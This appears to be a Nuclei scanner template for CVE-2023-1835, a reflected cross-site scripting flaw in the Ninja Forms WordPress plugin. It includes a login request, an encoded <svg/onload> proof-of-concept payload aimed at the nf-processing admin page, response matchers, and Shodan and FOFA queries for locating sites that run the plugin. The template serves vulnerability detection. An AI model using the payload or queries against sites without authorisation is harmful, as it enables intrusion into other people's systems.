nuclei-templates/http/cves/2023/CVE-2023-1835.yaml

56 lines
2.5 KiB
YAML
Raw Normal View History

2023-07-07 09:38:49 +00:00
id: CVE-2023-1835
info:
name: Ninja Forms < 3.6.22 - Cross-Site Scripting
author: r3Y3r53
severity: medium
description: |
Ninja Forms before 3.6.22 is susceptible to cross-site scripting via the page parameter due to insufficient input sanitization and output escaping. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
2023-09-27 15:51:13 +00:00
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
2023-09-06 11:43:37 +00:00
remediation: |
Update to the latest version of Ninja Forms (3.6.22 or higher) to mitigate this vulnerability.
2023-07-07 09:38:49 +00:00
reference:
- https://wpscan.com/vulnerability/b5fc223c-5ec0-44b2-b2f6-b35f9942d341
- https://wordpress.org/plugins/ninja-forms/advanced/
- https://nvd.nist.gov/vuln/detail/CVE-2023-1835
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2023-1835
cwe-id: CWE-79
epss-score: 0.0011
epss-percentile: 0.44066
2023-09-06 11:43:37 +00:00
cpe: cpe:2.3:a:ninjaforms:ninja_forms:*:*:*:*:*:wordpress:*:*
2023-07-07 09:38:49 +00:00
metadata:
verified: true
2023-09-06 11:43:37 +00:00
max-request: 2
2023-07-11 19:49:27 +00:00
vendor: ninjaforms
product: ninja_forms
2023-09-06 11:43:37 +00:00
framework: wordpress
2024-05-31 19:23:20 +00:00
shodan-query: http.html:/wp-content/plugins/ninja-forms/
fofa-query: body=/wp-content/plugins/ninja-forms/
publicwww-query: /wp-content/plugins/ninja-forms/
2024-01-14 09:21:50 +00:00
tags: cve2023,cve,wpscan,ninja,forms,wp,wp-plugin,wordpress,authenticated,xss,ninjaforms
2023-07-07 09:38:49 +00:00
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/admin.php?page=nf-processing&title=%253Csvg%252Fonload%253Dalert%2528document.domain%2529%253E HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code_2 == 200'
- 'contains(content_type_2, "text/html")'
- 'contains(body_2, "<svg/onload=alert(document.domain)>")'
- 'contains(body_2, "Ninja Forms")'
condition: and
# digest: 490a0046304402206c1a3a2ff75345251556846a6dee0fed1f56cb7cff2a43d35a6cc9c567095086022046e095603a56f2b986e6f7d8537a791d13a750a4bc45c818f9733f5b9473d9df:922c64590222798bb761d5b6d8e72950